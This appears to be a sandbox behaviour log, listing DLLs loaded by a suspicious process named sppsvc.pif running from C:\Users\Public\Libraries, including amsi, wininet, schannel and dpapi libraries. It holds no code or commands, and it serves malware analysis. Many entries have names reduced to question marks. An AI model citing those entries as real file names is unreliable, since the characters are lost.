Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: winmm.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: wininet.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: am.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: wldp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: profapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: winhttpcom.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: webio.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: schannel.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
